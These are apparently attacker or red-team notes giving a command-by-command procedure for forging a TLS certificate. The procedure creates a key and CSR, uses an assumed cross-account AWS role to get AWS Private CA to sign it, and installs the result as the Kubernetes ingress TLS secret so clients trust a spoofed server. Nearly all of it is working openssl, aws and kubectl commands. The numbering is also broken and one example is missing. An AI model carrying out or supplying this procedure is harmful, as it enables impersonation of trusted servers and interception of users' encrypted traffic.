Spoofed SSL, sign with AWS Private CA, launch on Kube

This breaks device trust model and makes app believe it is a legit server since signed by a trusted private CA

  1. Make a new csr.conf. Add necessary details

  2. make a new private key: openssl genrsa -out api.key 2048

  3. Request a new certificate signing request (CSR): 

    openssl req -new -key api.key -out spoofed.csr -config csr.conf

  4. Assume the AWS role that allows access to ACM PCA

  5. aws acm-pca issue-certificate \
   --profile assume-cross-acct \
   --certificate-authority-arn arn:aws:acm-pca:us-east-1:XXXXXX:certificate-authority/XXXXXXXXX \
   --csr fileb://spoofed.csr \
   --signing-algorithm "SHA256WITHRSA" \
   --validity Value=30,Type="DAYS" \
   --template-arn arn:aws:acm-pca:::template/EndEntityCertificate/V1

  6. This will issue a new signed certificate arn

  7. Get the cert and store locally

  8. aws acm-pca get-certificate --certificate-authority-arn arn:aws:acm-pca:us-west-2:XXXXXX:certificate-authority/XXXXX --certificate-arn arn:aws:acm-pca:us-west-2:XXXX:certificate-authority/XXXXX/certificate/redactedId --output text > api.crt

  9. Open that api.crt and make sure that the chained certificate we have are in two separate lines. For example:

  11. Once done, upload all this to EC2/server where Kubernetes is running

  12. Kubernetes has different pods that do different things. app-tls pod generally takes care of TLS handling. This is where communication comes and data decrypts and the backend server running at pods like app-api on like port 3000 take care of the logic. app-tls has SSL certificate installed. Our aim is to replace this with our signed cert app-ingress has config of which app-tls secret to send communicationt to.

  13. On Kubernetes: a. Create a new secret: k3s kubectl create secret tls my-valid-tls --key api.key --cert api.crt -n default b. Edit the ingress rule app where app-tls receives connection from and forwards to app-tls. This is where we have configured which app-tls secret to use k3s kubectl edit ingress app-ingress -n default Look for the line that says app-tls (or spec.tls.secretName) and replace with out secret "my-valid-tls"

  1. That;s it, your server on Kubernetes will now use your spoofed cert.

You can also create your own CA and sign your cert with it.

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